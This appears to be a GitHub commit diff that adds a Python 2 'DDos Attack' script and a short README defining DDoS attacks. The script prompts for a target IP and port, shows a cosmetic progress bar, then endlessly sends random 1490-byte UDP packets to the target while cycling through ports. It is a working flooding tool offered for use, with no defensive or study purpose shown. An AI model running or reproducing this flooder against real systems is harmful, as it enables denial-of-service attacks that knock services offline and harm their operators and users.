File tree 2 files changed +54
-0
lines changed 2 files changed +54
-0
lines changed Original file line number Diff line number Diff line change
1
+ import sys
2
+ import os
3
+ import time
4
+ import socket
5
+ import random
6
+ from datetime import datetime
7
+
8
+ now = datetime .now ()
9
+ hour = now .hour
10
+ minute = now .minute
11
+ day = now .day
12
+ month = now .month
13
+ year = now .year
14
+
15
+ sock = socket .socket (socket .AF_INET , socket .SOCK_DGRAM )
16
+ bytes = random ._urandom (1490 )
17
+
18
+ os .system ("clear" )
19
+ os .system ("figlet DDos Attack" )
20
+ print
21
+ print "Author : "
22
+ print "You Tube : "
23
+ print "github : "
24
+ print "Facebook : "
25
+ print
26
+ ip = raw_input ("IP Target : " )
27
+ port = input ("Port : " )
28
+
29
+ os .system ("clear" )
30
+ os .system ("figlet Attack Starting" )
31
+ print "[ ] 0% "
32
+ time .sleep (5 )
33
+ print "[===== ] 25%"
34
+ time .sleep (5 )
35
+ print "[========== ] 50%"
36
+ time .sleep (5 )
37
+ print "[=============== ] 75%"
38
+ time .sleep (5 )
39
+ print "[====================] 100%"
40
+ time .sleep (3 )
41
+ sent = 0
42
+ while True :
43
+ sock .sendto (bytes , (ip ,port ))
44
+ sent = sent + 1
45
+ port = port + 1
46
+ print "Sent %s packet to %s throught port:%s" % (sent ,ip ,port )
47
+ if port == 65534 :
48
+ port = 1
Original file line number Diff line number Diff line change
1
+ # DDos-Attack
2
+ ### What Is A DDos-Attack
3
+
4
+ ### A Distributed Denial of Service (DDoS) attack is an attempt to make an online service unavailable
5
+ by overwhelming it with traffic from multiple sources. They target a wide variety of important resources
6
+ from banks to news websites, and present a major challenge to making sure people can publish and access important information
You can’t perform that action at this time.
0 commit comments